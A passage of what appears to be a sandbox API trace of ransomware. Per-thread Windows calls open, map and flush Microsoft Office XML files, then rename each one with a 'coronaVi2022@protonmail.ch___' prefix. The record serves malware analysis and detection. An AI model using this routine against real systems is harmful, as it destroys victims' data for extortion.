	[0108.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___gill sans mt.xml")) returned 1
	[0108.055] free (_Block=0x51f0070) 
	[0108.055] RtlExitUserThread (Status=0x0) 

Thread:
	id = 995
	os_tid = 0x1154

	[0108.057] _alloca_probe () returned 0x40328a
	[0108.057] GetCurrentThreadId () returned 0x1154
	[0108.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml", dwFileAttributes=0x80) returned 1
	[0108.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1234
	[0108.058] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3637) returned 1
	[0108.058] CreateFileMappingA (hFile=0x1234, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe39, lpName=0x0) returned 0x1228
	[0108.058] MapViewOfFile (hFileMappingObject=0x1228, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.060] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.060] CloseHandle (hObject=0x1228) returned 1
	[0108.060] GetCurrentThreadId () returned 0x1154
	[0108.060] FlushFileBuffers (hFile=0x1234) returned 1
	[0108.062] CloseHandle (hObject=0x1234) returned 1
	[0108.062] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Office 2007 - 2010.xml") returned 121
	[0108.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___office 2007 - 2010.xml")) returned 1
	[0108.063] free (_Block=0x52000f0) 
	[0108.063] RtlExitUserThread (Status=0x0) 

Thread:
	id = 996
	os_tid = 0xee0

	[0108.111] _alloca_probe () returned 0x40328a
	[0108.111] GetCurrentThreadId () returned 0xee0
	[0108.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml", dwFileAttributes=0x80) returned 1
	[0108.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1228
	[0108.112] GetFileSizeEx (in: hFile=0x1228, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3553) returned 1
	[0108.112] CreateFileMappingA (hFile=0x1228, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde1, lpName=0x0) returned 0x117c
	[0108.112] MapViewOfFile (hFileMappingObject=0x117c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.114] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.114] CloseHandle (hObject=0x117c) returned 1
	[0108.114] GetCurrentThreadId () returned 0xee0
	[0108.114] FlushFileBuffers (hFile=0x1228) returned 1
	[0108.116] CloseHandle (hObject=0x1228) returned 1
	[0108.116] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Times New Roman-Arial.xml") returned 124
	[0108.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___times new roman-arial.xml")) returned 1
	[0108.117] free (_Block=0x51f0070) 
	[0108.117] RtlExitUserThread (Status=0x0) 

Thread:
	id = 997
	os_tid = 0xba4

	[0108.119] _alloca_probe () returned 0x40328a
	[0108.119] GetCurrentThreadId () returned 0xba4
	[0108.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml", dwFileAttributes=0x80) returned 1
	[0108.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x117c
	[0108.120] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3543) returned 1
	[0108.120] CreateFileMappingA (hFile=0x117c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xddd, lpName=0x0) returned 0x11d8
	[0108.120] MapViewOfFile (hFileMappingObject=0x11d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.122] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.122] CloseHandle (hObject=0x11d8) returned 1
	[0108.122] GetCurrentThreadId () returned 0xba4
	[0108.122] FlushFileBuffers (hFile=0x117c) returned 1
	[0108.124] CloseHandle (hObject=0x117c) returned 1
	[0108.124] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___TrebuchetMs.xml") returned 114
	[0108.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___trebuchetms.xml")) returned 1
	[0108.125] free (_Block=0x51fe0e0) 
	[0108.125] RtlExitUserThread (Status=0x0) 

Thread:
	id = 998
	os_tid = 0x2004

	[0108.127] _alloca_probe () returned 0x40328a
	[0108.127] GetCurrentThreadId () returned 0x2004
	[0108.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", dwFileAttributes=0x80) returned 1
	[0108.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11d8
	[0108.128] GetFileSizeEx (in: hFile=0x11d8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3742) returned 1
	[0108.128] CreateFileMappingA (hFile=0x11d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeab, lpName=0x0) returned 0x11e8
	[0108.128] MapViewOfFile (hFileMappingObject=0x11e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.129] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.129] CloseHandle (hObject=0x11e8) returned 1
	[0108.129] GetCurrentThreadId () returned 0x2004
	[0108.129] FlushFileBuffers (hFile=0x11d8) returned 1
	[0108.131] CloseHandle (hObject=0x11d8) returned 1
	[0108.132] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Tw Cen MT-Rockwell.xml") returned 121
	[0108.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___tw cen mt-rockwell.xml")) returned 1
	[0108.132] free (_Block=0x51f0070) 
	[0108.132] RtlExitUserThread (Status=0x0) 

Thread:
	id = 999
	os_tid = 0x2008

	[0108.169] _alloca_probe () returned 0x40328a
	[0108.170] GetCurrentThreadId () returned 0x2008
	[0108.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml", dwFileAttributes=0x80) returned 1
	[0108.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e8
	[0108.171] GetFileSizeEx (in: hFile=0x11e8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=3744) returned 1
	[0108.171] CreateFileMappingA (hFile=0x11e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea0, lpName=0x0) returned 0x11e0
	[0108.171] MapViewOfFile (hFileMappingObject=0x11e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.173] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.173] CloseHandle (hObject=0x11e0) returned 1
	[0108.173] GetCurrentThreadId () returned 0x2008
	[0108.173] FlushFileBuffers (hFile=0x11e8) returned 1
	[0108.175] CloseHandle (hObject=0x11e8) returned 1
	[0108.175] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Tw Cen MT.xml") returned 112
	[0108.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\coronaVi2022@protonmail.ch___Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\coronavi2022@protonmail.ch___tw cen mt.xml")) returned 1
	[0108.176] free (_Block=0x51fc0d0) 
	[0108.176] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1000
	os_tid = 0x200c

	[0108.184] _alloca_probe () returned 0x40328a
	[0108.184] GetCurrentThreadId () returned 0x200c
	[0108.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", dwFileAttributes=0x80) returned 1
	[0108.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e0
	[0108.185] GetFileSizeEx (in: hFile=0x11e0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2831) returned 1
	[0108.185] CreateFileMappingA (hFile=0x11e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb1d, lpName=0x0) returned 0x1258
	[0108.185] MapViewOfFile (hFileMappingObject=0x1258, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.186] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.187] CloseHandle (hObject=0x1258) returned 1
	[0108.187] GetCurrentThreadId () returned 0x200c
	[0108.187] FlushFileBuffers (hFile=0x11e0) returned 1
	[0108.191] CloseHandle (hObject=0x11e0) returned 1
	[0108.192] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Flattener\\coronaVi2022@protonmail.ch___CommonSequencingProperties.xml") returned 108
	[0108.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\coronaVi2022@protonmail.ch___CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\coronavi2022@protonmail.ch___commonsequencingproperties.xml")) returned 1
	[0108.192] free (_Block=0x51f0070) 
	[0108.192] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1001
	os_tid = 0x2010

	[0108.240] _alloca_probe () returned 0x40328a
	[0108.240] GetCurrentThreadId () returned 0x2010
	[0108.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1258
	[0108.241] GetFileSizeEx (in: hFile=0x1258, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=37360) returned 1
	[0108.241] CreateFileMappingA (hFile=0x1258, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91f0, lpName=0x0) returned 0x111c
	[0108.242] MapViewOfFile (hFileMappingObject=0x111c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.250] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.250] CloseHandle (hObject=0x111c) returned 1
	[0108.250] GetCurrentThreadId () returned 0x2010
	[0108.250] FlushFileBuffers (hFile=0x1258) returned 1
	[0108.255] CloseHandle (hObject=0x1258) returned 1
	[0108.256] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned 130
	[0108.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 1
	[0108.257] free (_Block=0x52010f8) 
	[0108.257] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1002
	os_tid = 0x2014

	[0108.252] _alloca_probe () returned 0x40328a
	[0108.253] GetCurrentThreadId () returned 0x2014
	[0108.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b0
	[0108.255] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=59164) returned 1
	[0108.255] CreateFileMappingA (hFile=0x11b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe727, lpName=0x0) returned 0x1268
	[0108.255] MapViewOfFile (hFileMappingObject=0x1268, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.269] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.269] CloseHandle (hObject=0x1268) returned 1
	[0108.269] GetCurrentThreadId () returned 0x2014
	[0108.269] FlushFileBuffers (hFile=0x11b0) returned 1
	[0108.387] CloseHandle (hObject=0x11b0) returned 1
	[0108.387] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml") returned 118
	[0108.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.accessmui.msi.16.en-us.xml")) returned 1
	[0108.390] free (_Block=0x51fa0c0) 
	[0108.390] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1003
	os_tid = 0x2018

	[0108.272] _alloca_probe () returned 0x40328a
	[0108.273] GetCurrentThreadId () returned 0x2018
	[0108.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1258
	[0108.277] GetFileSizeEx (in: hFile=0x1258, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2042) returned 1
	[0108.277] CreateFileMappingA (hFile=0x1258, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x803, lpName=0x0) returned 0x126c
	[0108.277] MapViewOfFile (hFileMappingObject=0x126c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.278] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.278] CloseHandle (hObject=0x126c) returned 1
	[0108.278] GetCurrentThreadId () returned 0x2018
	[0108.278] FlushFileBuffers (hFile=0x1258) returned 1
	[0108.280] CloseHandle (hObject=0x1258) returned 1
	[0108.280] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmuiset.msi.16.en-us.xml") returned 121
	[0108.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 1
	[0108.281] free (_Block=0x52000f0) 
	[0108.281] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1004
	os_tid = 0x201c

	[0108.324] _alloca_probe () returned 0x40328a
	[0108.324] GetCurrentThreadId () returned 0x201c
	[0108.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x126c
	[0108.325] GetFileSizeEx (in: hFile=0x126c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=16148) returned 1
	[0108.325] CreateFileMappingA (hFile=0x126c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f17, lpName=0x0) returned 0x1270
	[0108.325] MapViewOfFile (hFileMappingObject=0x1270, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.329] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.329] CloseHandle (hObject=0x1270) returned 1
	[0108.329] GetCurrentThreadId () returned 0x201c
	[0108.329] FlushFileBuffers (hFile=0x126c) returned 1
	[0108.332] CloseHandle (hObject=0x126c) returned 1
	[0108.332] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned 124
	[0108.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 1
	[0108.333] free (_Block=0x51fb0c8) 
	[0108.333] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1005
	os_tid = 0x2020

	[0108.334] _alloca_probe () returned 0x40328a
	[0108.334] GetCurrentThreadId () returned 0x2020
	[0108.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1270
	[0108.336] GetFileSizeEx (in: hFile=0x1270, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9818) returned 1
	[0108.336] CreateFileMappingA (hFile=0x1270, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2663, lpName=0x0) returned 0x1274
	[0108.336] MapViewOfFile (hFileMappingObject=0x1274, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.338] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.339] CloseHandle (hObject=0x1274) returned 1
	[0108.339] GetCurrentThreadId () returned 0x2020
	[0108.339] FlushFileBuffers (hFile=0x1270) returned 1
	[0108.341] CloseHandle (hObject=0x1270) returned 1
	[0108.342] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.dcfmui.msi.16.en-us.xml") returned 115
	[0108.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.dcfmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 1
	[0108.342] free (_Block=0x51fe0e0) 
	[0108.342] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1006
	os_tid = 0x2024

	[0108.385] _alloca_probe () returned 0x40328a
	[0108.386] GetCurrentThreadId () returned 0x2024
	[0108.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1274
	[0108.388] GetFileSizeEx (in: hFile=0x1274, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=236956) returned 1
	[0108.388] CreateFileMappingA (hFile=0x1274, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39da7, lpName=0x0) returned 0x1278
	[0108.389] MapViewOfFile (hFileMappingObject=0x1278, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.435] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.438] CloseHandle (hObject=0x1278) returned 1
	[0108.438] GetCurrentThreadId () returned 0x2024
	[0108.438] FlushFileBuffers (hFile=0x1274) returned 1
